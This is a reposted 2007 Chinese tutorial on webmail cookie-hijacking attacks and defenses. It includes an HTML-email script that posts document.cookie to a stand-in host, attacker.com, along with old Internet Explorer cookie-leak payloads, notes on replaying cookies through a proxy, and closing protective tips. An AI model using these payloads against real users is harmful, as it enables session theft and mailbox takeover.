网站运营
位置:首页>> 网站运营>> Webmail攻防实战(6)

Webmail攻防实战(6)

 来源:云南设计港 发布时间:2007-11-01 14:09:00 

标签:

如果攻击者能够获取用户WebMail的cookie信息,那么就能很容易地侵入用户的WebMail。攻击者如何获取用户WebMail的cookie信息呢?如果攻击者在用户的电脑上安装了木马,或者能够从网络线路上对用户进行嗅探侦听,那么获取cookie信息自然不成问题,不过这并不是我们讨论问题的意义所在,因为都能够这样了,又何必大费周折去获取cookie信息,直接获取邮箱密码就是了。

如果WebMail系统存在跨站脚本执行漏洞,那么攻击者就能欺骗用户从而轻易地获取cookie信息,虽然众多网站存在此漏洞,但存在此漏洞的WebMail系统还很少见。

含有恶性脚本程序的html邮件能使攻击者获取WebMail的cookie信息。Html邮件中的脚本程序先提取当前WebMail的cookie信息,然后把它赋值给某个表单元素,再将表单自动提交给攻击者,攻击者从而获得cookie会话信息。下面是一段演示程序:
  


  <body>
  <formmethod="post"action="http://attacker.com/getcookie.cgi"name="myform">
  <inputname="session"type="hidden">
  </form>
  
  <scriptlanguage="JavaScript">
  varcookie=(document.cookie);
  alert(cookie);//这一句用于显示当前cookie信息,当然,攻击者不会这样做。
  document.myform.session.value=cookie;
  document.myform.submit();
  </script>


  
getcookie.cgi是放在攻击者web服务器上的一个cgi程序,用于获取表单提交过来的cookie信息,并且做记录或者通知攻击者。当然,攻击者会把html邮件、getcookie.cgi程序设计得更隐蔽,更具欺骗性,让用户难以察觉。

通常,浏览器根据web服务器的域名来分别保存cookie信息,并且只会把cookie信息发送给同一域名的web服务器。不过,浏览器的漏洞给攻击者获取不同域名的cookie信息创造了机会,InternetExplorer、Netscape和Mozilla等被广泛使用的浏览器都存在过此类漏洞。下面是几个InternetExplorer浏览器(针对IE5.0、IE5.5或IE6.0)泄漏cookie信息的例子:

(1)Html语言中的object元素用于在当前页面内嵌入外部对象,但InternetExplorer浏览器对object元素属性的处理不当会导致任意域的cookie信息被泄漏,演示代码如下:
  


  <objectid="data"data="empty.html"type="text/html"></object>
  <script>
  varref=document.getElementById("data").object;
  ref.location.href="http://www.anydomain.com";
  setTimeout("alert(ref.cookie)",5000);
  </script>


  
(2)InternetExplorer浏览器错误处理“about”协议使得一个精心构造的URL请求可能会显示或修改任意域的cookie信息,例如(以下代码在同一行):

about://www.anydomain.com/<scriptlanguage=JavaScript>alert(document.cookie);</script>

(3)InternetExplorer浏览器会误把URL中“%20”(空格符的URL编码)字符串之前的主机名当做cookie信息所在的域,并且发送出去。假设攻击者有一个域名“attacker.com”,攻击者把它做成泛域名解析,即把“*.attacker.com”指向攻击者web服务器所在的IP地址,“attacker.com”下的任何子域名或主机名都会被解析成这个IP地址,当用户提交了类似下面这样的URL后,浏览器就会把“anydomain.com”域名的cookie信息发送给攻击者:

http://anydomain.com%20.attacker.com/getcookie.cgi

如果攻击者要获取WebMail的临时型cookie信息,就会在html邮件中写入相应的代码,在用户浏览邮件时,该代码自动执行,使得攻击者能够获取当前浏览器里的临时cookie信息,也可以把用于获取cookie信息的URL发送给用户,诱骗用户打开该URL,这样攻击者也能获取临时cookie信息。

在攻击者获取cookie信息后,如果cookie信息里含有密码等敏感信息,那么攻击者就能很轻易地侵入用户的邮箱,虽然hotmail等WebMail系统曾经发生过此类的情况,但cookie信息泄漏敏感信息的WebMail系统还很少见。

攻击者在获取cookie信息之后,还要让此cookie信息由浏览器来存取从而与WebMail系统建立会话,这样才能侵入用户的WebMail。如果是持久型cookie信息,攻击者所要做的是把这个信息复制到自己的cookie文件中去,由浏览器存取该cookie信息从而与WebMail系统建立会话,不过临时cookie信息存储在内存中,并不容易让浏览器存取。

为了让浏览器存取临时cookie信息,攻击者可以编辑内存中的cookie信息,或者修改公开源代码的浏览器,让浏览器能够编辑cookie信息,不过这样都不是很简便的方法,简便的方法是使用Achilles程序(packetstormsecurity.org网站有下载)。Achilles是一个http代理服务器,能够载取浏览器和web服务器间的http会话信息,并且在代理转发数据之前可以编辑http会话以及临时cookie信息。

WebMail系统应该避免使用持久型cookie会话跟踪,使攻击者在cookie会话攻击上不能轻易得逞。为了防止cookie会话攻击,用户可以采取如下措施以加强安全:

(1)设置浏览器的cookie安全级别,阻止所有cookie或者只接受某几个域的cookie。

(2)使用cookie管理工具,增强系统cookie安全,如CookiePal、BurntCookies等。

(3)及时给浏览器打补丁,防止cookie信息泄漏。

0
投稿

猜你喜欢

  • Web服务在任何网络中都是最容易遭受攻击的。也许你正在使用最受欢迎的Web服务器,微软的网络信息服务器(IIS)。尽管最 近释放的IIS 6
  • 10月16日消息,15日,身为电子商务教育界“黄埔军校”的阿里学院宣布,为帮助中小企业解决人才缺口问
  • 昨天群里的一位朋友给我看的一篇U8上的帖子,讲的autoblog结合AdSense的些做法。帖子很不错,很多细节方面都讲的很详细,包括aut
  • 目前中国分类信息网的竞争可以说已经到了白炽化成程.口啤网目前来说还是处于导先地位,当然我今天不来批论这些网站的盈利情况.今天我们来看一下同城
  • 经常有网友向水煮鱼表示希望学习搜索引擎优化 SEO 的知识,询问搜索引擎优化 SEO 的书籍哪本最好,水煮鱼一般向他们推荐 Zac 的《网络
  • 下载的地址:http://java.sun.com/products/archive/j2se/1.4.2_06/index.html 第一
  • 一个网站要出名,恐怕炒作是少不了的。这也是最节省广告费的一种办法了!很多人对炒作很反感。但是一个网站想快速把大家知道,想用最少的钱做最多的事
  • WordPress主题一般有一系列的php文件和一个style. css文件,而其 * 能最为强大的文件则是functions. php。Wo
  • 虽然Google的Blogspot在国内无法访问,但对于独立域名的英文博客来说,使用Blogger还是不错的选择,不用使用托管主机,这里就介
  • 这年头推广网站真是难!我们不像那些有钱的站长!他们直接用钱砸进去推广开来!而我们呢。只有靠自己手工推广了!多难啊!我一开始是在百度上推广的,
  • 有Godaddy用户问如何添加Godaddy子域名,那让我们首先先来了解下什么是子域名,子域名是为你的站点的各个部分建立易记的网址的一个简便
  • 时下,中文站流量越来越难做,单价也是十分不令人满意,所以很多站长朋友开始考虑做英文站,因为毕竟英文站的单价比中文站高很多,但是,很多站长朋友
  • 本报记者 雷中辉 北京报道“我们还没有接到实施细则的通知,具体怎么办还不清楚。”7月22日,北京市工商行政管理局大厅,当记者询问电子商务网店
  • 粗略算下来,阿里妈妈离开张已经有一段时间了,跟一开始的高调宣传有所不同的是,阿里妈妈在做完了前期的网站积累之后,开始了自身消化的过程,炒作的
  • 俗称“脚本小鬼”的家伙 是属于那种很糟糕的黑客,因为基本上他们中的许多和大多数人都是如此的没有技巧。可以这样说,如果你安装了所有正确的补丁,
  • 以前在看无聊不眠的帖子”流量值几个钱?什么流量更值钱?“时,看到一句话感触挺深:“做网站干什么?搞流量啊!为什么要搞流量?投资啊!赚钱啊!”
  • 4.9 这儿有一个小的perl脚本程序,它将大多数的注释从已生成的配置文件中删除,形成一个简化的文件。4.10 将htdocs目录树的所有权
  • 10月13日是世博倒计时200天,“星耀世博——首批世博城市之星颁奖典礼&
  • 相信不少站长都听说过站长世界webmasterworld.com(也有的是翻为网管世界)这个论坛。这是世界上最著名的站长们聚集的地方,谈论各
  • 使用PHPWind程序做论坛的有很多,有时候我们会做一些资讯页面,如果安装新的CMS系统的话会比较麻烦,而PHPWind其实也有CMS文章管
手机版 网站运营 asp之家 www.aspxhome.com